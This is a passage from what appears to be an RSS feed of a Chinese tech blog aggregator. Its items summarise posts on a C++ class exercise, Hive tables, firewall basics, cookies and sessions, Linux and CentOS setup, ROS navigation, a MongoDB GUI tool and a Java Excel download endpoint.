      <description>定义学生类，包括私有数据成员学号s_id、姓名name、班级grade、成绩score；私有静态成员count（用以统计学生人数）、sum（用以统计学生总成绩）。按要求完成以下功能：&#xA;（1）定义无参构造函数；定义带参构造函数，实现学生学号、姓名、班级、成绩的初始化。 以及 学生人数递增统计操作；&#xA;（2）重载输入运算符，实现学生信息输入；以及学生总分的统计功能；&#xA;（3）重载输出运算符，实现学生信息输出；&#xA;（4）重载“&amp;gt;”、“&amp;lt;”运算符，比较两个学生的成绩高低；&#xA;#include &amp;lt;iostream&amp;gt; //引用头文件 using namespace std; class Student { //定义一个学生类 //私有成员 private: string s_id; //成员学号 string name; //姓名 string grade; //班级 float score; //成绩 //私有静态成员 static int count; //统计学生人数 static float sum; //统计学生总成绩 //公有成员 public: //定义无参构造函数 Student() { count++; } //定义有参函数 Student(string id, string na, string gra, float sco): s_id(id), name(na), grade(gra), score(sco) { } //输出学生的总数和总成绩 void Show() { cout &amp;lt;&amp;lt; &#34;学生的总数:&#34; &amp;lt;&amp;lt; Student::count &amp;lt;&amp;lt; endl; cout &amp;lt;&amp;lt; &#34;</description>
    </item>
    <item>
      <title>hive表类型&amp;建表</title>
      <link>https://bchobby.github.io/posts/9593951bf492f239e69780c672236f53/</link>
      <pubDate>Wed, 26 Apr 2023 19:34:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9593951bf492f239e69780c672236f53/</guid>
      <description>1、表类型&#xA;Hive中的表类型_hive 表类型_小愚就是小小呀的博客-CSDN博客&#xA;hive 表类型&#xA;Hive内部表与外部表，数据导入，数据导出_hive 导入外部表_遥遥晚风点点的博客-CSDN博客&#xA;Hive中的表类型_hive 表类型_小愚就是小小呀的博客-CSDN博客&#xA;分区表可参考：hive分区表详细介绍_hive分区表作用_zxzLife的博客-CSDN博客&#xA;2、建表&#xA;【Hive】Hive 建表语句详解_hql建表写表注释_w1992wishes的博客-CSDN博客&#xA;Hive建表语句_zhaozuoyou的博客-CSDN博客&#xA;3、常用语句&#xA;删库/表 Hive 常用的DDL语句大全 建库建表 详细_hive建库语句_abcdggggggg的博客-CSDN博客</description>
    </item>
    <item>
      <title>防火墙基础知识分享</title>
      <link>https://bchobby.github.io/posts/8becd6400dc0cb1f4c025581fa8911b4/</link>
      <pubDate>Wed, 26 Apr 2023 17:31:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8becd6400dc0cb1f4c025581fa8911b4/</guid>
      <description>概述 为了因对网络威胁，联网的机构或公司将自己的网络和公共网络进行隔离，其方法是根据网络的安全信任程度和需要保护的对象，人为的划分若干区域，这些安全区域有：&#xA;公共外部网路，如internet&#xA;内联网（Intranet）：如学校内网，访问限制在组织内部&#xA;外联网（Extranet）：内联网的扩展延伸，常用作组织与合作伙伴之间进行通信&#xA;军事缓冲区域（DMZ）:是介于内外网之间的网络断，用于放置公共服务措施&#xA;在安全区域划分的基础上，通过一种网络安全设备，控制安全区域间的通信，可以隔离有害通信，进而阻断网络攻击。这种安全设备就被称之为防火墙。&#xA;一、防火墙技术原理 防火墙技术原理是指防火墙如何对网络流量进行过滤和控制，以保护网络资源和数据的安全性。防火墙技术原理主要包括包过滤、状态检测、应用层网关等多个方面。&#xA;1. 包过滤&#xA;包过滤是防火墙技术的基础，也是最基本的防火墙技术。包过滤可以根据源IP地址、目标IP地址、端口号、协议类型等多个因素进行设置，以实现对网络流量的过滤和控制。包过滤的过程包括以下几个步骤：&#xA;（1）检查数据包的头部信息，包括源IP地址、目标IP地址、端口号、协议类型等。&#xA;（2）根据设置的规则，对数据包进行过滤和控制，可以允许数据包通过，也可以拒绝数据包通过。&#xA;（3）数据包通过防火墙后，将被传递到目标主机进行处理。&#xA;包过滤技术简单、有效，可以实现对网络流量的基本控制和保护。但是，包过滤技术不能对数据包的内容进行检查和分析，容易被攻击者绕过。&#xA;2. 状态检测&#xA;状态检测是一种高级的防火墙技术，可以检测网络流量的状态信息，以识别和拦截恶意流量。状态检测可以对网络流量进行深度分析，包括TCP连接状态、会话状态等，以确定流量是否为合法流量。状态检测的过程包括以下几个步骤：&#xA;（1）对网络流量进行深度分析，包括TCP连接状态、会话状态等。&#xA;（2）根据分析结果，判断流量是否为合法流量。&#xA;（3）对非法流量进行拦截和处理。&#xA;状态检测技术可以有效地识别和拦截恶意流量，提高网络安全的水平。但是，状态检测技术也存在一定的局限性，例如容易被攻击者绕过，对网络性能有一定影响等。&#xA;3. 应用层网关&#xA;应用层网关是一种高级的防火墙技术，可以对应用层协议进行过滤和控制，例如对HTTP、SMTP等协议进行过滤和控制。应用层网关可以深入到应用层，对网络流量进行深度分析和处理。应用层网关的过程包括以下几个步骤：&#xA;（1）对应用层协议进行深度分析，包括协议数据格式、协议状态等。&#xA;（2）根据分析结果，判断网络流量是否为合法流量。&#xA;（3）对非法流量进行拦截和处理。&#xA;应用层网关技术可以对应用层协议进行精细化的过滤和控制，提高网络安全的水平。但是，应用层网关技术需要消耗大量的计算资源和存储资源，对网络性能的影响较大。&#xA;综上所述，防火墙技术原理涉及到多个方面，包括包过滤、状态检测、应用层网关等多个方面。不同的防火墙技术具有不同的特点和适用场景，需要根据实际情况进行选择和配置。同时，还需要进行防火墙规则的设置和管理、防火墙的管理和维护等工作，以确保防火墙的有效性和稳定性。&#xA;2. 防火墙技术分类 防火墙技术可以根据不同的实现方式进行分类，主要包括软件防火墙和硬件防火墙两种。&#xA;1. 软件防火墙&#xA;软件防火墙可以运行在普通的操作系统之上，以软件形式实现网络安全功能。软件防火墙可以部署在各种计算机系统上，包括服务器、台式机、笔记本电脑等。软件防火墙的主要优点包括：&#xA;（1）灵活性：软件防火墙可以根据实际情况进行配置和管理，以实现对网络流量的精细化管理和保护。&#xA;（2）易于部署：软件防火墙可以部署在各种计算机系统上，不需要专门的硬件设备支持。&#xA;（3）成本较低：软件防火墙的成本较低，适合中小型企业使用。&#xA;软件防火墙的主要缺点包括：&#xA;（1）性能较差：软件防火墙需要消耗计算机资源，对计算机的性能有一定影响。&#xA;（2）安全性较低：软件防火墙容易被攻击者绕过，存在安全风险。&#xA;2. 硬件防火墙&#xA;硬件防火墙是一种独立的设备，可以在网络中直接进行网络流量过滤和控制。硬件防火墙通常包括专用的硬件设备和预装的软件，可以实现对网络流量的深度分析和处理。硬件防火墙的主要优点包括：&#xA;（1）性能较好：硬件防火墙可以独立运行，不需要消耗计算机资源，对网络性能的影响较小。&#xA;（2）安全性较高：硬件防火墙难以被攻击者绕过，具有较高的安全性。&#xA;（3）易于管理：硬件防火墙可以通过网络管理接口进行远程管理和监控，管理和维护较为方便。&#xA;硬件防火墙的主要缺点包括：&#xA;（1）成本较高：硬件防火墙的成本较高，不适合中小型企业使用。&#xA;（2）灵活性较差：硬件防火墙的功能和配置受到硬件设备的限制，灵活性较差。&#xA;需要注意的是，软件防火墙和硬件防火墙并不是彼此对立的，它们可以相互补充和合作，以实现对网络资源的更加精细化的保护和管理。在进行防火墙选择和配置时，需要根据实际情况进行综合考虑和选择。&#xA;3. 防火墙应用场景 防火墙是一种网络安全设备，主要用于保护网络资源和数据的安全性。防火墙可以应用于多个场景，包括以下几个方面：&#xA;1. 企业内部网络&#xA;防火墙可以应用于企业内部网络，以保护内部网络资源的安全性。企业内部网络通常包括多个子网和多个部门，需要对各个子网和部门进行隔离和保护。防火墙可以对内部网络流量进行过滤和控制，防止内部网络受到来自外部网络的攻击和威胁。同时，防火墙还可以对内部网络进行访问控制，以保护内部网络资源的安全性。&#xA;2. 互联网接入口&#xA;防火墙可以应用于互联网接入口，以保护企业的网络资源和数据不受来自互联网的攻击和威胁。互联网接入口通常是企业与互联网之间的关键节点，需要进行精细化的网络安全管理和保护。防火墙可以对互联网流量进行深度分析和处理，防止来自互联网的恶意流量进入企业内部网络。&#xA;3. 电子商务&#xA;防火墙可以应用于电子商务领域，以保护在线交易的安全性。电子商务平台需要对用户的个人隐私和财务信息进行保护，以确保交易的安全和可靠。防火墙可以对电子商务平台的流量进行过滤和控制，防止来自互联网的攻击和威胁。同时，防火墙还可以对用户的访问进行访问控制，以保护用户的个人隐私和财务信息。&#xA;4. 移动互联网&#xA;随着移动互联网的发展，防火墙也逐渐应用于移动互联网领域。移动互联网通常涉及到多个终端设备和多个网络环境，需要对网络流量进行深度分析和处理，以保护移动设备和用户的安全。防火墙可以对移动设备的流量进行过滤和控制，防止来自互联网的攻击和威胁。&#xA;5. 云计算</description>
    </item>
    <item>
      <title>Cookie和Session面试题知识大总结</title>
      <link>https://bchobby.github.io/posts/15745b049a65bee5964d8178e69c940a/</link>
      <pubDate>Wed, 26 Apr 2023 16:56:19 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/15745b049a65bee5964d8178e69c940a/</guid>
      <description>Cookie是什么？ HTTP 协议是无状态的，主要是为了让 HTTP 协议尽可能简单，使得它能够处理大量事务，HTTP/1.1 引入 Cookie 来保存状态信息。&#xA;Cookie 是服务器发送到用户浏览器并保存在本地的一小块数据，它会在浏览器之后向同一服务器再次发起请求时被携带上，用于告知服务端两个请求是否来自同一浏览器。&#xA;cookie 的出现是因为 HTTP 是无状态的一种协议，换句话说，服务器记不住你，可能你每刷新一次网页，就要重新输入一次账号密码进行登录。这显然是让人无法接受的，cookie 的作用就好比服务器给你贴个标签，然后你每次向服务器再发请求时，服务器就能够 cookie 认出你。&#xA;抽象地概括一下：一个 cookie 可以认为是一个「变量」，形如 name=value，存储在浏览器；一个 session 可以理解为一种数据结构，多数情况是「映射」（键值对），存储在服务器上。&#xA;题外话：由于之后每次请求都会需要携带 Cookie 数据，因此会带来额外的性能开销（尤其是在移动环境下）。&#xA;Cookie 曾一度用于客户端数据的存储，因为当时并没有其它合适的存储办法而作为唯一的存储手段，但现在随着现代浏览器开始支持各种各样的存储方式，Cookie 渐渐被淘汰。&#xA;新的浏览器 API 已经允许开发者直接将数据存储到本地，如使用 Web storage API（本地存储和会话存储）或 IndexedDB。&#xA;Cookie有什么用途？用途 会话状态管理（如用户登录状态、购物车、游戏分数或其它需要记录的信息）个性化设置（如用户自定义设置、主题等）浏览器行为跟踪（如跟踪分析用户行为等) 在session的实现原理中，每一个session对象都会关联一个sessionid，例如：&#xA;JSESSIONID=41C481F0224664BDB28E95081D23D5B8以上的这个键值对数据其实就是cookie对象。对于session关联的cookie来说，这个cookie是被保存在浏览器的“运行内存”当中。只要浏览器不关闭，用户再次发送请求的时候，会自动将运行内存中的cookie发送给服务器。例如，这个Cookie: JSESSIONID=41C481F0224664BDB28E95081D23D5B8就会再次发送给服务器。服务器就是根据41C481F0224664BDB28E95081D23D5B8这个值来找到对应的session对象的。 cookie怎么生成？cookie保存在什么地方？cookie有啥用？浏览器什么时候会发送cookie，发送哪些cookie给服务器？ cookie最终是保存在浏览器客户端上的。&#xA;可以保存在运行内存中。（浏览器只要关闭cookie就消失了。）也可以保存在硬盘文件中。（永久保存。） cookie有啥用呢？&#xA;cookie和session机制其实都是为了保存会话的状态。cookie是将会话的状态保存在浏览器客户端上。（cookie数据存储在浏览器客户端上的。）session是将会话的状态保存在服务器端上。（session对象是存储在服务器上。）为什么要有cookie和session机制呢？因为HTTP协议是无状态 无连接协议。 cookie的经典案例 京东商城，在未登录的情况下，向购物车中放几件商品。然后关闭商城，再次打开浏览器，访问京东商城的时候，购物车中的商品还在，这是怎么做的？我没有登录，为什么购物车中还有商品呢？ 将购物车中的商品编号放到cookie当中，cookie保存在硬盘文件当中。这样即使关闭浏览器。硬盘上的cookie还在。下一次再打开京东商城的时候，查看购物车的时候，会自动读取本地硬盘中存储的cookie，拿到商品编号，动态展示购物车中的商品。 京东存储购物车中商品的cookie可能是这样的：productIds=xxxxx,yyyy,zzz,kkkk注意：cookie如果清除掉，购物车中的商品就消失了。 126邮箱中有一个功能：十天内免登录&#xA;这个功能也是需要cookie来实现的。怎么实现的呢？ 用户输入正确的用户名和密码，并且同时选择十天内免登录。登录成功后。浏览器客户端会保存一个cookie，这个cookie中保存了用户名和密码等信息，这个cookie是保存在硬盘文件当中的，十天有效。在十天内用户再次访问126的时候，浏览器自动提交126的关联的cookie给服务器，服务器接收到cookie之后，获取用户名和密码，验证，通过之后，自动登录成功。 Session知识大总结 除了可以将用户信息通过 Cookie 存储在用户浏览器中，也可以利用 Session 存储在服务器端，存储在服务器端的信息更加安全。&#xA;Session 可以存储在服务器上的文件、数据库或者内存中。也可以将 Session 存储在 Redis 这种内存型数据库中，效率会更高。&#xA;使用 Session 维护用户登录状态的过程如下：</description>
    </item>
    <item>
      <title>RedHat8配置本地YUM源</title>
      <link>https://bchobby.github.io/posts/d853b4a9a02fe56039ea14cfc9ff4c3c/</link>
      <pubDate>Wed, 26 Apr 2023 16:06:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d853b4a9a02fe56039ea14cfc9ff4c3c/</guid>
      <description>目录： RedHat8配置本地YUM源1、创建规则文件2、创建挂载点3、挂载ISO镜像(1).将iso镜像连接到虚拟机再进行挂载a.将ISO镜像连接虚拟机b.挂载镜像到挂载点c.使用df -h查看当前系统设备挂载情况 (2)将iso镜像上传至服务器再进行挂载a.将ISO镜像通过ftp工具上传b.挂载镜像到挂载点c.使用df -h查看当前系统设备挂载情况 4、清除YUM缓存5、列出可以安装包6、安装测试7、卸载镜像 RedHat8配置本地YUM源 1、创建规则文件 (1).备份规则文件&#xA;cd /etc/yum.repos.d/ mkdir repo mv *.repo ./repo (2).创建规则文件&#xA;cat &amp;lt;&amp;lt;EOF&amp;gt;&amp;gt; /etc/yum.repos.d/RedHat8_local_yum.repo [BaseOS] name=BaseOS baseurl=file:///mnt/cdrom/BaseOS gpgcheck=0 enabled=1 [AppStream] name=AppStream baseurl=file:///mnt/cdrom/AppStream gpgcheck=0 enabled=1 EOF 2、创建挂载点 mkdir -p /mnt/cdrom 可以使用其他挂载点，但是规则文件中的baseurl要与挂载点路径保持一致&#xA;3、挂载ISO镜像 (1).将iso镜像连接到虚拟机再进行挂载 a.将ISO镜像连接虚拟机 打开虚拟机设置 --&amp;gt;&#xA;CD/DVD(SATA) --&amp;gt;&#xA;使用ISO镜像文件 --&amp;gt;&#xA;点击已连接（此处可以配置开机自动挂载）&#xA;将ISO文件连接到虚拟机后在操作系统中对应的就是/dev/sr0设备&#xA;b.挂载镜像到挂载点 （默认对镜像文件写保护，以只读方式挂载）&#xA;# mount /dev/sr0 /mnt/cdrom mount: /mnt/cdrom: WARNING: device write-protected, mounted read-only. c.使用df -h查看当前系统设备挂载情况 /dev/sr0 7.9G 7.9G 0 100% /mnt/cdrom (2)将iso镜像上传至服务器再进行挂载 a.</description>
    </item>
    <item>
      <title>CentOS7 安装JDK1.8</title>
      <link>https://bchobby.github.io/posts/eada87fcd7a2953ca63d8bfca460989e/</link>
      <pubDate>Wed, 26 Apr 2023 15:25:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eada87fcd7a2953ca63d8bfca460989e/</guid>
      <description> 资源下载：评论区留下联系邮箱，阿里网盘暂不支持分享。&#xA;1. 在usr目录下创建java安装目录： cd /usr/local mkdir java 2. 解压到当前目录,得到文件夹 jdk1.8.0_60 tar -zxvf jdk-8u60-linux-x64.tar.gz 3. 编辑配置文件，将如下配置添加至文件中，然后保存退出 vi /etc/profile #java export JAVA_HOME=/usr/local/java/jdk1.8.0_181 export PATH=$JAVA_HOME/bin:$PATH export CLASSPATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib 4. 重启命令 source /etc/profile 5. 查看安装情况 java -version javac -version </description>
    </item>
    <item>
      <title>Linux 使用教程</title>
      <link>https://bchobby.github.io/posts/b96891166a14932a819a718c2bfb4123/</link>
      <pubDate>Wed, 26 Apr 2023 15:25:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b96891166a14932a819a718c2bfb4123/</guid>
      <description> Linux 目录结构 目录内容/boot系统启动相关的文件，如内核、initrd，以及grub（BootLoader）/etc配置文件/home用户的家目录，每一个用户的家目录通常默认为/home/USERNAME/root管理员的家目录/lib库文件 静态库：单在程序中的库，其他程序不能使用该库文件；动态库：在内存中，任何用到该库的程序都可以使用；/lib/modules/media挂载点目录，- 移动设备（在windows中，插入一张光盘，系统会自动读取光盘，用户可以直接执行，但在linux中，插入光盘后需要在挂载点挂载这个设备之后才可以使用这个设备。）/mnt挂载点目录，额外的临时文件系统/opt可选目录，第三方程序的安装目录/proc伪文件系统，内核映射文件/sys伪文件系统，跟硬件设备相关的属性映射文件/tmp临时文件，/var/tmp/var可变化的文件，经常发生变化的文件/bin可执行文件，用户命令；其中用到的库文件可能在/lib，配置文件可能在/etc/sbin可执行文件，管理命令；其中用到的库文件可能在/lib，配置文件可能在/etc/usr只读文件，shared read-only； /usr/local：第三方软件 操作指南 安装 wget：&#xA;yum install wget CentOS7 保存退出 vi 编辑 按ESC键 跳到命令模式，然后输入命令（见下表格）： 命令注释:w保存文件但不退出vi:wfile 将修改另外保存到file中，不退出vi:w!强制保存，不推出vi:wq保存文件并退出vi:wq!强制保存文件，并退出viq:不保存文件，退出vi:q!不保存文件，强制退出vi:e!放弃所有修改，从上次保存文件开始再编辑 </description>
    </item>
    <item>
      <title>带你理清：ROS机器人导航功能实现、解析、以及参数说明</title>
      <link>https://bchobby.github.io/posts/6c5960664407bad644b3ff60d1a8a13b/</link>
      <pubDate>Wed, 26 Apr 2023 15:23:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c5960664407bad644b3ff60d1a8a13b/</guid>
      <description>本篇博客字数较多，难免存在争议、问题，我们评论区多交流。&#xA;！！！ 表示解释的不好，存在问题，欢迎各位小伙伴评论留言。&#xA;目 录 机器人导航先决条件导航1. move_base1.1 move_base功能包参数1.2 全局路径规划器的参数1.3 局部路径规划器的参数1.4 代价地图的参数1.5 在RViz中查看global_costmap和local_costmap1.6 运动恢复1.7 问题&amp;amp;解决1.8 好文章 2. AMCL3. Gmapping4. URDF仿真实现 机器人导航先决条件 在调整新机器人上的导航包时遇到的大部分问题都在本地规划器调谐参数之外的区域。机器人的里程计，定位，传感器以及有效运行导航的其他先决条件常常会出错。所以，第一件事是确保机器人本身准备好了，具有导航能力。这包括三个组件检查：距离传感器、里程计、定位。&#xA;距离传感器&#xA;如激光雷达、距离传感器等，传感器没有正常工作，无法提供信息，那么导航将无法顺利完成。&#xA;可以尝试在rviz中查看传感器信息，是否可以通过话题Topic获取传感器信息，并以预期的速度获取。&#xA;里程计&#xA;往往机器人无法正确定位，问题根源不在Amcl算法调参，而是里程计不可靠。&#xA;可以通过两个健全检查，验证里程计是否可靠。&#xA;第一个测试检查角速度是否合理 ：打开rviz，将坐标系设置为“odom”，显示机器人提供的激光扫描， 设置topic的延时时间(decay time)为20s左右，然后原地旋转，然后，看看扫描出来的边线在随后的旋转中如何相互匹配。理想情况下，每次扫描将刚好落在相互的顶端，会重叠在一起，但是有些旋转漂移是预期的，所以我只是确保扫描之间误差，不会超过一度或两度以上。&#xA;第二个测试检查线速度是否合理：机器人放置在与距离墙壁几米远地方，然后以上面相同的方式设置rviz。接着控制机器人向墙壁前进，从rviz中聚合的激光扫描看看扫描出来边线的厚度。理想情况下，墙体应该看起来像一个扫描，但我只是确保它的厚度不超过几厘米。如果显示扫描边线的分散在半米以上，但有些可能是错误的测距。&#xA;定位&#xA;假设里程计和距离传感器都可靠，建图结果和Amcl定位结果通常并不会太糟糕。首先，我将运行gmapping或karto，并操纵机器人来生成环境地图。然后，我将在该地图上进行Amcl定位，良好的定位效果应该是可视化激光扫描和环境地图，机器人移动过程中激光扫描保持与环境地图很好地匹配。&#xA;导航 这项工作并不像看起来那么简单。如果对概念和推理了解不清楚，可能会随意尝试，这将浪费大量的时间。 本文旨在引导读者正确微调导航参数。当在设置一些关键参数的时候，需要知道“如何”和“为什么”。&#xA;在ROS中，实现导航功能需要使用到的三个包是：&#xA;（1） move_base：根据参照的消息进行路径规划，使移动机器人到达指定的位置。&#xA;（2） amcl：根据已经有的地图进行定位。&#xA;（3） gmapping：根据激光数据（或者深度数据模拟的激光数据）建立地图。&#xA;1. move_base 结构框架图：&#xA;move_base的输入topic：&#xA;/tf：提要提供的tf包括map_frame、odom_frame、base_frame以及机器人各关节之间的完成的一棵tf树。/odom：里程计信息/scan 或 /pointcloud：传感器的输入信息，最常用的是激光雷达(sensor_msgs/LaserScan类型)，也有用点云数据(sensor_msgs/PointCloud)的/map：地图，可以由SLAM程序来提供，也可以由map_server来指定已知地图（或自定义的室内地图） 以上四个Topic是必须持续提供给导航系统的，下面这个是可随时发布的topic：&#xA;move_base_simple/goal：目标点位置（也就是导航的目标点） move_base包内包括三种插件：base_local_planner、base_global_planner和recovery_behavior，这三种插件都得用户指定，否则系统会指定默认值。&#xA;base_local_planner插件：&#xA;base_local_planner/TrajectoryPlannerROS: 实现了Trajectory Rollout和DWA两种局部规划算法dwa_local_planner: 实现了DWA局部规划算法，可以看作是base_local_planner的改进版本除此之外还有：teb_local_planner、eband_local_planner、asr_ftc_local_planner、dwb_local_planner，需要用户自行安装（可以源码安装，可以sudo apt install） base_global_planner插件：&#xA;parrot_planner: 实现了较简单的全局规划算法navfn/NavfnROS: 实现了Dijkstra和A*全局规划算法global_planner: 重新实现了Dijkstra和A*全局规划算法,可以看作navfn的改进版 recovery_behavior插件：&#xA;clear_costmap_recovery: 实现了清除代价地图的恢复行为rotate_recovery: 实现了旋转的恢复行为move_slow_and_clear: 实现了缓慢移动的恢复行为 DWA与Trajectory Rollout的区别主要是在机器人的控制空间采样差异。Trajectory Rollout采样点来源于整个前向模拟阶段所有可用速度集合，而DWA采样点仅仅来源于一个模拟步骤中的可用速度集合。这意味着相比之下DWA是一种更加有效算法，因为其使用了更小采样空间；然而对于低加速度的机器人来说可能Trajectory Rollout更好，因为DWA不能对常加速度做前向模拟。</description>
    </item>
    <item>
      <title>VMware 16 安装 CentOS7 教程</title>
      <link>https://bchobby.github.io/posts/d0a76d8eddebfae93f0e250efa3668d7/</link>
      <pubDate>Wed, 26 Apr 2023 15:21:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d0a76d8eddebfae93f0e250efa3668d7/</guid>
      <description>资源下载：评论区留下联系邮箱，阿里网盘暂不支持分享（VMware16，CentOS7镜像）&#xA;VMware16安装好之后，下载好我们要安装的操作系统的镜像文件，这里以CentOS 7版本为例，就可以开始安装了。&#xA;1. 在主页选择创建新的虚拟机。 2. 选择自定义安装 3. 选择Workstation 16.x，点击下一步 4. 选择稍后安装操作系统 5. 选择已经下载好的操作系统和版本（这里是Linux的CentOS 7 64位） 6. 给虚拟机命名并选择系统选择存储位置（可以默认) 7. 处理器配置（应使用场景而定） 8. 内存配置（应使用场景而定） 9. 网络类型,使用桥接网络 10. I/O控制器类型（选择默认） 11. 磁盘类型：SCSI(S) 12. 创建新虚拟机的磁盘 13. 指定磁盘容量一般选择默认（虚拟磁盘存储为单个或者多个文件一般影响不大） 14. 指定磁盘文件 15. 点击自定义硬件，CD/DVD(IDE)设置,选择使用ISO映像文件，填写CentOS7系统的保存路径。 16. 完成硬件设置了，同时已准备好创建虚拟机 17. 开启此虚拟机 18. 选择install CentOS 7,等待安装 19. 选择英文安装 20. 设置时区，亚洲-上海 21. 选择安装位置，在这里可以进行磁盘划分 22. 选择i wil configure partitioning（我将会配置分区），然后点击done 23. 如下图所示，点击加号，选择/boot，给boot分区分200M。最后点击Add 24. 然后以同样的办法给其他三个区分配好空间后点击Done 25. 然后会弹出摘要信息，点击AcceptChanges(接受更改) 26. 设置主机名与网卡信息 27. 首先要打开网卡，然后查看是否能获取到IP地址(我这里是桥接)，再更改主机名后点击Done。 28. 最后选择Begin Installation(开始安装) 29. 设置root密码，点击Done 30.</description>
    </item>
    <item>
      <title>MongoDB管理神器来袭！NexNoSqlClient让你的效率翻倍！</title>
      <link>https://bchobby.github.io/posts/5450034bbc946a5808acaafb745e3242/</link>
      <pubDate>Wed, 26 Apr 2023 15:04:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5450034bbc946a5808acaafb745e3242/</guid>
      <description>背景： 如果你在日常工作中需要经常使用MongoDB，那么你一定体验过这样一些痛点;繁琐的脚本编写，冗长的命令行操作，复杂的数据建模和索引等等。这些问题不仅让我们的工作效率低下，还容易出现错误和漏洞，给数据安全带来风险，所以我们急需一款能够帮我们解决这一系列问题的软件。&#xA;前言： 但是，现在有了NexNoSalClient，这些问题将不再是问题!NexNoSalClient是一款跨平台的NoSOI集群管理利器，它可以帮助我们轻松连接和管理ES，redis，MongoDB集群，让我们免除繁琐的脚本编写和冗长的命令行操作。更重要的是，它提供了图形化的操作界面，让我们可以通过简单的点选实现数据的增删查改，数据建模，索引的修改等功能，大大提高了我们的使用效率和工作质量。&#xA;功能介绍： 一、新增MongoDB集群 安装软件之后，打开软件--》左上角--》new--&amp;gt;选择MongoDB，见下图：&#xA;二、新增集合 添加MongoDB集群之后，就可以点击集群名称右边的“+”，也即下图红色方框的位置，就会弹出添加集合的对话框，输入集合名称点击confirm即可，这样集合就添加成功了。&#xA;三、删除集合 点击刚添加的MongoDB集群，NexNoSalClient会自动把集群里面所有的集合都展示出来，找到我们想要删除的集合，点击集合名称右侧的垃圾箱，即可删除相应的集合，见下图：&#xA;四、集合数据操作 1、新增文档 当我们集合新增之后，就可以新增文档了，点击我们刚才新增的集合，就能打开集合数据操作界面，在界面上点击 add 按钮，弹出add document 对话框，输入我们想新增的文档内容，点击confirm，文档新增完成。&#xA;2、查询文档 查询功能应该是这个软件最特别的地方，首先它避免了我们写冗长的MongoDB脚本，对于集合里面的字段，可以直接罗列出来，我们来看一下吧：&#xA;2.1、支持集合字段的罗列：&#xA;2.2、丰富的操作符：&#xA;支持=，&amp;gt;,&amp;gt;=,&amp;lt;,&amp;lt;=,!=,in,not in,exists,like，还支持排序&#xA;比如我们想查询userNo=72058，根据createTime升序排列，只需要这样即可：&#xA;是不是非常便捷，原来要写一坨代码，现在就需要输入 72058，其他的全部都是点选操作。&#xA;3、修改文档 找到我们想修改的文档之后，点击edit按钮，弹出edit document对话框&#xA;修改文档，又是该软件的一大特色，支持table和JSON两种样式&#xA;修改完毕之后，点击confirm，文档修改完毕&#xA;4、删除文档 找到我们想删除的文档之后，点击delete按钮，即可对文档进行删除，此处就不再截图了。&#xA;五、集合索引操作 新增索引是不是MongoDB的一个比较常用的操作呢，可它也是一坨代码啊，一坨代码。&#xA;1、查询索引 当我们切换到索引TAB页，就能看到当前集合的所有索引，默认情况下，MongoDB对_id字段做了一个索引，并且是不可删除的。&#xA;我们点击该索引的create script，看看MongoDB建索引的脚本是什么样子的：&#xA;db.abc343.createIndex({&#34;_id&#34;:1},{&#34;name&#34;:&#34;_id_&#34;}) 2、新增索引 当我们想要新增索引的时候，比如我们想在status上面建一个索引：&#xA;点击界面新增索引按钮，弹出add index对话框&#xA;首先输入索引名称，当然索引名称也不是必选的，你不输入，MongoDB会自动生成&#xA;选择索引字段，索引是升序还是降序的，当前还指出text和hash索引&#xA;选择可选参数，比如我们选择在后台执行，并且是唯一索引，参考下图：&#xA;3、删除索引 删除索引就不详细说了，找到我们要删除的索引，点击删除按钮即可&#xA;后记： 小编已经使用了这个软件，感觉非常好用，如果你正在寻找一款易于上手且功能强大的数据库管理软件，那么NexNoSqlClient绝对是你的不二之选！快来试试吧，相信你会惊喜连连！</description>
    </item>
    <item>
      <title>Java下载Excel模板文件的实现</title>
      <link>https://bchobby.github.io/posts/784a78fe531950d71a0a2b4f28518c5f/</link>
      <pubDate>Wed, 26 Apr 2023 14:48:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/784a78fe531950d71a0a2b4f28518c5f/</guid>
      <description>在项目中经常会用到文件下载的功能，比如下载excel模板，这里简单记录一下实现过程&#xA;1、将模板文件放到项目资源文件目录中，也可以自定义其他位置，只要通过路径能找到该文件就行：&#xA;2、controller层写下载的接口&#xA;/** * 下载导入模板 */ @GetMapping(&#34;downloadExcel&#34;) public void downloadExcel(HttpServletResponse httpServletResponse) { InputStream inputStream = null; try (ServletOutputStream outputStream = httpServletResponse.getOutputStream()) { //设置响应头信息，包括下载后的文件名和编码等 httpServletResponse.addHeader(&#34;content-disposition&#34;, String.format(&#34;attachment;filename= %s&#34;, URLEncoder.encode(&#34;导入模板.xlsx&#34;, &#34;utf-8&#34;))); httpServletResponse.setContentType(&#34;application/vnd.openxmlformats-officedocument.spreadsheetml.sheet&#34;); httpServletResponse.setCharacterEncoding(&#34;UTF-8&#34;); //在文件夹里获取到文件并转为流 inputStream = new ClassPathResource(&#34;/senseXlsx.xlsx&#34;).getInputStream(); byte[] b = streamToByteArray(inputStream); httpServletResponse.getOutputStream().write(b); } catch (Exception e) { e.printStackTrace(); } finally { if (inputStream != null) { try { inputStream.close(); } catch (IOException e) { e.printStackTrace(); } } } } 3、前端直接调用这个接口就可以实现下载啦</description>
    </item>
    <item>
      <title>navicat使用</title>
      <link>https://bchobby.github.io/posts/a579d962dbb55b32e20afece00d492e2/</link>
      <pubDate>Wed, 26 Apr 2023 14:45:07 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a579d962dbb55b32e20afece00d492e2/</guid>
